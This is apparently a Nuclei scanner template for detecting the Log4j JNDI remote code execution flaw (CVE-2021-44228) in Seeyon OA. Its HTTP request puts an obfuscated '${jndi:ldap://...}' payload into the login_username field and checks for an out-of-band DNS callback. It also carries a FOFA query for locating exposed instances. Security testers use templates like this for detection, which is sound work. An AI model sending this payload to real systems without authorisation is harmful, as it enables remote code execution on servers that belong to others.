id: seeyon-oa-log4j

info:
  name: Seeyon OA (Log4j) - Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: |
    Seeyon OA is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
    - https://blog.csdn.net/xd_2021/article/details/122232463
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="致远互联-OA"
    product: log4j
    vendor: apache
  tags: cve,cve2021,rce,jndi,log4j,seeyon-oa,kev,oast

http:
  - raw:
      - |
        POST /seeyon/main.do?method=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        authorization=&login.timezone=GMT+8:00&province=&city=&rectangle=&login_username=${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://{{interactsh-url}}}

    matchers:
      - type: dsl
        dsl:
          - "len(body) == 0"
          - "status_code == 302"
          - 'contains(interactsh_protocol, "dns")'
          - "contains(tolower(header), '/seeyon/main.do')"
        condition: and

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